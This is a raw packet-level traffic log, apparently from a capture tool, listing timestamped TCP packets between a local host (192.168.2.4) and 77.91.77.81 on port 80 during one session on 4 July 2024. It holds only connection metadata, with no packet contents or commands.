Jul 4, 2024 20:34:12.766609907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766623020 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766649008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766659975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766669989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766690969 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766704082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766725063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766736031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766746998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766757965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766793966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766813040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766819000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766829967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766860962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766861916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766876936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766879082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766904116 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766920090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766958952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766968966 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766980886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767008066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767040014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767046928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767057896 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767069101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767097950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767116070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767127037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767141104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767152071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767163038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767177105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767208099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767327070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767338037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767349005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767360926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767371893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767371893 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767381907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767393112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767402887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767404079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767432928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767445087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767549038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767560959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767574072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767591000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767622948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767622948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767633915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767643929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767657042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767668009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767668962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767678976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767683029 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767736912 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767805099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767816067 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767827988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767838955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767846107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767849922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767859936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767870903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767877102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767883062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767894983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767908096 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767920971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767941952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767947912 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.767955065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767970085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767980099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767988920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.767992020 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.768019915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.768033981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.784907103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.784950018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.784956932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.784960032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.784974098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.784982920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.784993887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.785036087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.785063028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.785072088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.785080910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.785113096 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.785134077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.837666035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837692022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837702990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837722063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.837742090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837752104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.837753057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837763071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837786913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.837790966 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837800026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837801933 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.837810993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837821007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837837934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.837852955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837860107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.837908983 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.837913990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837924957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837934017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837959051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.837961912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837973118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.837990046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.838027954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.838027954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.838037968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.838048935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.838076115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.838084936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.838095903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.838105917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.838124990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.838138103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.838152885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.838174105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.861459970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861501932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861511946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861520052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.861536980 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.861561060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.861578941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861589909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861599922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861628056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.861634016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861644983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861655951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861663103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.861668110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861679077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861686945 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.861699104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.861721039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.861731052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861742973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861752033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861762047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861771107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861779928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861783981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.861814022 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.861824036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.861829996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861841917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861871958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.861897945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861907959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861917973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861928940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861941099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861941099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.861952066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.861960888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.861990929 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862055063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862066031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862076044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862085104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862097025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862102032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862106085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862118006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862126112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862139940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862153053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862170935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862251997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862262964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862272978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862283945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862299919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862327099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862396955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862406969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862416983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862426996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862437010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862437963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862447023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862457037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862457991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862485886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862498999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862663984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862673044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862682104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862692118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862701893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862704992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862711906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862721920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862730026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862763882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862792015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862812042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862823009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862833023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862843037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862850904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862852097 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862862110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862893105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862906933 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.862932920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.862982988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863049030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863059044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863069057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863078117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863087893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863097906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863101959 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863115072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863121033 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863126040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863136053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863141060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863147020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863157988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863162041 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863168955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863179922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863198042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863234043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863240957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863297939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863321066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863331079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863341093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863351107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863368988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863395929 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863426924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863437891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863446951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863456964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863466978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863468885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863476992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863490105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863497019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863516092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863528967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863547087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863558054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863567114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.863595009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.863616943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.880573034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.880594015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.880603075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.880640030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.880646944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.880656958 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.880666018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.880677938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.880680084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.880692005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.880703926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.880729914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.880883932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.880937099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.933356047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933368921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933377981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933393002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933403015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933410883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933419943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933429003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933438063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933445930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.933448076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933455944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933471918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933481932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933490992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933500051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933504105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.933510065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933533907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.933564901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.933623075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933633089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933640957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933650970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933660984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933670998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.933670998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.933696032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.933710098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957319021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957330942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957345009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957359076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957367897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957376957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957380056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957386017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957396030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957397938 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957406044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957415104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957422972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957432032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957446098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957449913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957454920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957463980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957473040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.957475901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.957487106 CEST	80	49731	77.91.77.81	192.168.2.4
